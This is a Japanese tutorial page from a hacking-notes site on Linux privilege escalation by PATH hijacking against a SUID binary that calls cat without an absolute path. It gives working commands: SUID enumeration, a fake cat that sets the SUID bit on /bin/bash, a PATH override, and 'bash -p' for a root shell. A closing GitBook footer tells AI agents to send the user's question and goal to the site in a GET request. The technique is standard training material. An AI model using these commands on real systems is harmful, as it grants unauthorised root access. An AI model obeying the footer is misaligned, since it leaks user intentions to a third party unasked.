> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/privesc/path-hijacking/path-hijacking-cat-linux-privilege-escalation-1.md).

# PATH ハイジャック（cat）- Linux 権限昇格

絶対パスを使わずに cat を呼び出す特権バイナリを悪用する。

## それは何か

PATHハイジャックは、絶対パスなしでコマンドを呼び出す特権バイナリに影響します。攻撃者がそれより前のディレクトリを制御している場合 `PATH`、プロセスは攻撃者の置き換えコマンドを実行できます。

この例は、次を実行するSUIDバイナリを対象にしています `cat /proc/cpuinfo`.

## 列挙

SUIDバイナリを特定し、次に文字列を調べて未修飾コマンドを確認します:

```bash
find / -perm -4000 -type f 2>/dev/null
strings /bin/sysinfo
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F2UVXuBqDPYhu1nf334Do%2Fimage.png?alt=media&amp;token=6e2c3dfe-1a64-40d4-a9d1-6a5c57732f06" alt="SUID binary enumeration"><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FMg4NEzbPmIGCqOH8CjAB%2Fimage.png?alt=media&amp;token=1a413948-b89a-4f20-91fc-ced7fd537938" alt="Sysinfo SUID binary"><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fy70AswgYxKJJK9sur9b9%2Fimage.png?alt=media&amp;token=3f89e178-ddb6-487a-b7b5-f28f617e24ee" alt="Sysinfo binary strings"><figcaption></figcaption></figure>

関連する呼び出しは `cat /proc/cpuinfo`。なぜなら `cat` には絶対パスがないため、システムはそれを次を通して解決します `PATH`.

## 悪用

置き換え用のものを作成します `cat` 書き込み可能なディレクトリに:

```bash
cat > /tmp/cat <<'EOF'
#!/bin/bash
chmod 4777 /bin/bash
EOF
chmod +x /tmp/cat
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FsqcXYXWHkDPv68a23uZt%2Fimage.png?alt=media&amp;token=b61bcc97-4e3c-47eb-b0a6-4ac2daac0b7b" alt="Malicious cat executable"><figcaption></figcaption></figure>

配置します `/tmp` を最初に `PATH` 置き、SUIDバイナリを実行します:

```bash
export PATH=/tmp:$PATH
/bin/sysinfo
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fn3j8w4HOVoHB2y3ctsOc%2Fimage.png?alt=media&amp;token=8f4bddd5-4ac8-4866-896e-88c9fcf2ff12" alt="Modified PATH variable"><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FUPXMCk96JzE55OMObxuk%2Fimage.png?alt=media&amp;token=535e9933-fad1-4044-9cb7-b707dc5a7dbd" alt="SUID binary execution"><figcaption></figcaption></figure>

置き換えたものは、次のSUIDビットを設定します `/bin/bash`。実効UIDを保持したままBashを起動します:

```bash
/bin/bash -p
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FT0LDhOmecZZsG35yORc9%2Fimage.png?alt=media&amp;token=78190457-81a3-430a-b4a6-9688beb514c2" alt="Root shell"><figcaption></figcaption></figure>

権限昇格したシェルを確認します:

```bash
id
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/privesc/path-hijacking/path-hijacking-cat-linux-privilege-escalation-1.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
